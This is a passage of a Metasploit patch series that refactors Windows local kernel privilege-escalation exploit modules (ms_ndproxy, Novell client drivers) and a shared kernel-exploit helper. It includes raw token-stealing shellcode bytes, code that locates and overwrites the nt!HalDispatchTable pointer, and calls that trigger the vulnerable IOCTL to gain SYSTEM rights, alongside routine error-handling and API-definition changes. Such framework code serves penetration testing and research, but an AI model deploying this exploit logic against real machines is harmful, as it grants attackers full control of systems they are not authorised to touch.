"\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS - tokenstealing << "\x5b" # pop ebx # Restores ebx - tokenstealing << "\x5a" # pop edx # Restores edx - tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel! + vprint_status('Getting the hal.dll base address...') + hal_info = find_sys_base('hal.dll') + fail_with(Failure::Unknown, 'Failed to disclose hal.dll base address') if hal_info.nil? + hal_base = hal_info[0] + vprint_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16).rjust(8, '0')}") + hali_query_system_information = hal_base + target['HaliQuerySystemInfo'] - shellcode = make_nops(0x200) + tokenstealing + restore_ptrs = "\x31\xc0" # xor eax, eax + restore_ptrs << "\xb8" + [hali_query_system_information].pack('V') # mov eax, offset hal!HaliQuerySystemInformation + restore_ptrs << "\xa3" + [haldispatchtable + 4].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax + + shellcode = make_nops(0x200) + restore_ptrs + token_stealing_shellcode(target) this_proc.memory.write(0x1, shellcode) this_proc.close print_status('Triggering vulnerable IOCTL') session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, 0x1965020f, 1, 0x258, - halDispatchTable + 0x4, 0) + haldispatchtable + 4, 0) session.railgun.ntdll.NtQueryIntervalProfile(1337, 4) unless is_system? diff --git a/modules/exploits/windows/local/ms_ndproxy.rb b/modules/exploits/windows/local/ms_ndproxy.rb index 47cb9bc48e..f2206e79ed 100644 --- a/modules/exploits/windows/local/ms_ndproxy.rb +++ b/modules/exploits/windows/local/ms_ndproxy.rb @@ -141,19 +141,19 @@ class Metasploit3 < Msf::Exploit::Local addresses['halDispatchTable'] = hal_dispatch_table vprint_good("HalDispatchTable found at 0x#{addresses['halDispatchTable'].to_s(16)}") - vprint_status('Getting the hal.dll Base Address...') + vprint_status('Getting the hal.dll base address...') hal_info = find_sys_base('hal.dll') if hal_info.nil? - vprint_error('Failed to disclose hal.dll Base Address') + vprint_error('Failed to disclose hal.dll base address') return nil end hal_base = hal_info[0] - vprint_good("hal.dll Base Address disclosed at 0x#{hal_base.to_s(16)}") + vprint_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16)}") hali_query_system_information = hal_base + t['HaliQuerySystemInfo'] addresses['HaliQuerySystemInfo'] = hali_query_system_information - vprint_good("HaliQuerySystemInfo Address disclosed at 0x#{addresses['HaliQuerySystemInfo'].to_s(16)}") + vprint_good("HaliQuerySystemInfo address disclosed at 0x#{addresses['HaliQuerySystemInfo'].to_s(16)}") addresses end From b602e474541021d6e0e89c0b84d02204895dc3e2 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Tue, 5 Aug 2014 21:24:37 -0700 Subject: [PATCH 10/12] Implement improvements based on feedback --- lib/msf/core/exploit/local/windows_kernel.rb | 64 ++++++++++--------- lib/msf/core/post/windows/error.rb | 2 +- .../stdapi/railgun/def/def_psapi.rb | 32 ++++++++++ .../extensions/stdapi/railgun/railgun.rb | 3 +- .../windows/local/novell_client_nicm.rb | 26 -------- .../windows/local/novell_client_nwfs.rb | 26 -------- 6 files changed, 69 insertions(+), 84 deletions(-) create mode 100644 lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_psapi.rb diff --git a/lib/msf/core/exploit/local/windows_kernel.rb b/lib/msf/core/exploit/local/windows_kernel.rb index 110008fc57..cb9e991d16 100644 --- a/lib/msf/core/exploit/local/windows_kernel.rb +++ b/lib/msf/core/exploit/local/windows_kernel.rb @@ -2,6 +2,9 @@ module Msf module Exploit::Local::WindowsKernel + include Msf::PostMixin + include Msf::Post::Windows::Error + # # Find the address of nt!HalDispatchTable. # @@ -10,25 +13,29 @@ module Exploit::Local::WindowsKernel # def find_haldispatchtable kernel_info = find_sys_base(nil) + if kernel_info.nil? + print_error("Failed to find the address of the Windows kernel") + return nil + end vprint_status("Kernel Base Address: 0x#{kernel_info[0].to_s(16)}") h_kernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1) if h_kernel['return'] == 0 - print_error("Failed to load #{kernel_info[1]} (error: #{h_kernel['GetLastError']})") + print_error("Failed to load #{kernel_info[1]} (error: #{h_kernel['GetLastError']} #{h_kernel['ErrorMessage']})") return nil end h_kernel = h_kernel['return'] hal_dispatch_table = session.railgun.kernel32.GetProcAddress(h_kernel, 'HalDispatchTable') if hal_dispatch_table['return'] == 0 - print_error("Failed to retrieve the address of nt!HalDispatchTable (error: #{hal_dispatch_table['GetLastError']})") + print_error("Failed to retrieve the address of nt!HalDispatchTable (error: #{hal_dispatch_table['GetLastError']} #{hal_dispatch_table['ErrorMessage']})") return nil end hal_dispatch_table = hal_dispatch_table['return'] hal_dispatch_table -= h_kernel hal_dispatch_table += kernel_info[0] - vprint_status("HalDisPatchTable Address: 0x#{hal_dispatch_table.to_s(16)}") + vprint_status("HalDispatchTable Address: 0x#{hal_dispatch_table.to_s(16)}") hal_dispatch_table end @@ -41,34 +48,31 @@ module Exploit::Local::WindowsKernel # @return [nil] If the name specified could not be found. # def find_sys_base(drvname) - unless session.railgun.dlls.keys.include?('psapi') - session.railgun.add_dll('psapi') - session.railgun.add_function( - 'psapi', - 'EnumDeviceDrivers', - 'BOOL', - [ - %w(PBLOB lpImageBase out), - %w(DWORD cb in), - %w(PDWORD lpcbNeeded out) - ]) - session.railgun.add_function( - 'psapi', - 'GetDeviceDriverBaseNameA', - 'DWORD', - [ - %w(LPVOID ImageBase in), - %w(PBLOB lpBaseName out), - %w(DWORD nSize in) - ]) + if sysinfo['Architecture'] =~ /(x86|wow64)/i + ptr_size = 4 + else + ptr_size = 8 end - results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4) - addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack('V*') + results = session.railgun.psapi.EnumDeviceDrivers(0, 0, ptr_size) + unless results['return'] + print_error("EnumDeviceDrivers failed (error: #{results['GetLastError']} #{results['ErrorMessage']})") + return nil + end + results = session.railgun.psapi.EnumDeviceDrivers(results['lpcbNeeded'], results['lpcbNeeded'], ptr_size) + unless results['return'] + print_error("EnumDeviceDrivers failed (error: #{results['GetLastError']} #{results['ErrorMessage']})") + return nil + end + addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack((ptr_size == 4 ? 'V' : 'Q') + '*') addresses.each do |address| results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48) - current_drvname = results['lpBaseName'][0..results['return'] - 1] + if results['return'] == 0 + print_error("GetDeviceDriverBaseNameA failed (error: #{results['GetLastError']} #{results['ErrorMessage']})") + return nil + end + current_drvname = results['lpBaseName'][0,results['return']] if drvname.nil? if current_drvname.downcase.include?('krnl') return [address, current_drvname] @@ -94,16 +98,16 @@ module Exploit::Local::WindowsKernel # def open_device(file_name, desired_access, share_mode, creation_disposition, flags_and_attributes = 0) handle = session.railgun.kernel32.CreateFileA(file_name, desired_access, share_mode, nil, creation_disposition, flags_and_attributes, nil) - if handle['return'] == 0xffffffff - print_error("Failed to open the #{file_name} device (error: #{handle['GetLastError']})") + if handle['return'] == INVALID_HANDLE_VALUE + print_error("Failed to open the #{file_name} device (error: #{handle['GetLastError']} #{handle['ErrorMessage']})") return nil end handle['return'] end # - # Generate x86 token stealing shellcode suitable for use when overwriting the - # pointer at nt!HalDispatchTable+0x4. The shellcode preserves the edx and ebx + # Generate token stealing shellcode suitable for use when overwriting the + # HaliQuerySystemInformation pointer. The shellcode preserves the edx and ebx # registers. # # @param target [Hash] The target information containing the offsets to _KPROCESS, diff --git a/lib/msf/core/post/windows/error.rb b/lib/msf/core/post/windows/error.rb index 6557d729a1..cd650c5f58 100644 --- a/lib/msf/core/post/windows/error.rb +++ b/lib/msf/core/post/windows/error.rb @@ -2527,5 +2527,5 @@ module Msf::Post::Windows::Error SYSTEM_DEVICE_NOT_FOUND = 0x3BC3 HASH_NOT_SUPPORTED = 0x3BC4 HASH_NOT_PRESENT = 0x3BC5 - + INVALID_HANDLE_VALUE = 0xffffffff end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_psapi.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_psapi.rb new file mode 100644 index 0000000000..36b59c6d48 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_psapi.rb @@ -0,0 +1,32 @@ +# -*- coding: binary -*- +module Rex +module Post +module Meterpreter +module Extensions +module Stdapi +module Railgun +module Def + +class Def_psapi + + def self.create_dll(dll_path = 'psapi') + dll = DLL.new(dll_path, ApiConstants.manager) + + dll.add_function('EnumDeviceDrivers', 'BOOL',[ + %w(PBLOB lpImageBase out), + %w(DWORD cb in), + %w(PDWORD lpcbNeeded out) + ]) + + dll.add_function('GetDeviceDriverBaseNameA', 'DWORD', [ + %w(LPVOID ImageBase in), + %w(PBLOB lpBaseName out), + %w(DWORD nSize in) + ]) + + return dll + end + +end + +end; end; end; end; end; end; end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb index 0d6642011f..b045b6b270 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb @@ -78,7 +78,8 @@ class Railgun 'crypt32', 'wlanapi', 'wldap32', - 'version' + 'version', + 'psapi' ].freeze ## diff --git a/modules/exploits/windows/local/novell_client_nicm.rb b/modules/exploits/windows/local/novell_client_nicm.rb index a219d3905b..6a1259861b 100644 --- a/modules/exploits/windows/local/novell_client_nicm.rb +++ b/modules/exploits/windows/local/novell_client_nicm.rb @@ -66,28 +66,6 @@ class Metasploit3 < Msf::Exploit::Local end - def add_railgun_functions - session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi') - session.railgun.add_function( - 'psapi', - 'EnumDeviceDrivers', - 'BOOL', - [ - ["PBLOB", "lpImageBase", "out"], - ["DWORD", "cb", "in"], - ["PDWORD", "lpcbNeeded", "out"] - ]) - session.railgun.add_function( - 'psapi', - 'GetDeviceDriverBaseNameA', - 'DWORD', - [ - ["LPVOID", "ImageBase", "in"], - ["PBLOB", "lpBaseName", "out"], - ["DWORD", "nSize", "in"] - ]) - end - def open_device(dev) invalid_handle_value = 0xFFFFFFFF @@ -163,10 +141,6 @@ class Metasploit3 < Msf::Exploit::Local end def exploit - - vprint_status("Adding the railgun stuff...") - add_railgun_functions - if sysinfo["Architecture"] =~ /wow64/i fail_with(Failure::NoTarget, "Running against WOW64 is not supported") elsif sysinfo["Architecture"] =~ /x64/ diff --git a/modules/exploits/windows/local/novell_client_nwfs.rb b/modules/exploits/windows/local/novell_client_nwfs.rb index ac5f8f5407..90567648de 100644 --- a/modules/exploits/windows/local/novell_client_nwfs.rb +++ b/modules/exploits/windows/local/novell_client_nwfs.rb @@ -62,28 +62,6 @@ class Metasploit3 < Msf::Exploit::Local end - def add_railgun_functions - session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi') - session.railgun.add_function( - 'psapi', - 'EnumDeviceDrivers', - 'BOOL', - [ - ["PBLOB", "lpImageBase", "out"], - ["DWORD", "cb", "in"], - ["PDWORD", "lpcbNeeded", "out"] - ]) - session.railgun.add_function( - 'psapi', - 'GetDeviceDriverBaseNameA', - 'DWORD', - [ - ["LPVOID", "ImageBase", "in"], - ["PBLOB", "lpBaseName", "out"], - ["DWORD", "nSize", "in"] - ]) - end - def open_device(dev) invalid_handle_value = 0xFFFFFFFF @@ -219,10 +197,6 @@ class Metasploit3 < Msf::Exploit::Local def exploit - - vprint_status("Adding the railgun stuff...") - add_railgun_functions - if sysinfo["Architecture"] =~ /wow64/i fail_with(Failure::NoTarget, "Running against WOW64 is not supported") elsif sysinfo["Architecture"] =~ /x64/ From 2ed02c30a8cad4f397ce7da4c9898d22a6606466 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Tue, 5 Aug 2014 21:34:36 -0700 Subject: [PATCH 11/12] Use better variable names instad of an array --- lib/msf/core/exploit/local/windows_kernel.rb | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/lib/msf/core/exploit/local/windows_kernel.rb b/lib/msf/core/exploit/local/windows_kernel.rb index cb9e991d16..5917334220 100644 --- a/lib/msf/core/exploit/local/windows_kernel.rb +++ b/lib/msf/core/exploit/local/windows_kernel.rb @@ -12,16 +12,16 @@ module Exploit::Local::WindowsKernel # @return [nil] If the address could not be found. # def find_haldispatchtable - kernel_info = find_sys_base(nil) - if kernel_info.nil? + kernel_address, kernel_name = find_sys_base(nil) + if kernel_address.nil? || kernel_name.nil? print_error("Failed to find the address of the Windows kernel") return nil end - vprint_status("Kernel Base Address: 0x#{kernel_info[0].to_s(16)}") + vprint_status("Kernel Base Address: 0x#{kernel_address.to_s(16)}") - h_kernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1) + h_kernel = session.railgun.kernel32.LoadLibraryExA(kernel_name, 0, 1) if h_kernel['return'] == 0 - print_error("Failed to load #{kernel_info[1]} (error: #{h_kernel['GetLastError']} #{h_kernel['ErrorMessage']})") + print_error("Failed to load #{kernel_name} (error: #{h_kernel['GetLastError']} #{h_kernel['ErrorMessage']})") return nil end h_kernel = h_kernel['return'] @@ -34,7 +34,7 @@ module Exploit::Local::WindowsKernel hal_dispatch_table = hal_dispatch_table['return'] hal_dispatch_table -= h_kernel - hal_dispatch_table += kernel_info[0] + hal_dispatch_table += kernel_address vprint_status("HalDispatchTable Address: 0x#{hal_dispatch_table.to_s(16)}") hal_dispatch_table end @@ -75,10 +75,10 @@ module Exploit::Local::WindowsKernel current_drvname = results['lpBaseName'][0,results['return']] if drvname.nil? if current_drvname.downcase.include?('krnl') - return [address, current_drvname] + return address, current_drvname end elsif drvname == current_drvname - return [address, current_drvname] + return address, current_drvname end end end From b277f588fb5582f5e396a290f0d87febe1088c5e Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sun, 10 Aug 2014 21:52:12 +0100 Subject: [PATCH 12/12] Use railgun helper functions --- lib/msf/core/exploit/local/windows_kernel.rb | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/lib/msf/core/exploit/local/windows_kernel.rb b/lib/msf/core/exploit/local/windows_kernel.rb index 5917334220..5346946254 100644 --- a/lib/msf/core/exploit/local/windows_kernel.rb +++ b/lib/msf/core/exploit/local/windows_kernel.rb @@ -48,23 +48,23 @@ module Exploit::Local::WindowsKernel # @return [nil] If the name specified could not be found. # def find_sys_base(drvname) - if sysinfo['Architecture'] =~ /(x86|wow64)/i - ptr_size = 4 + if session.railgun.util.pointer_size == 8 + ptr = '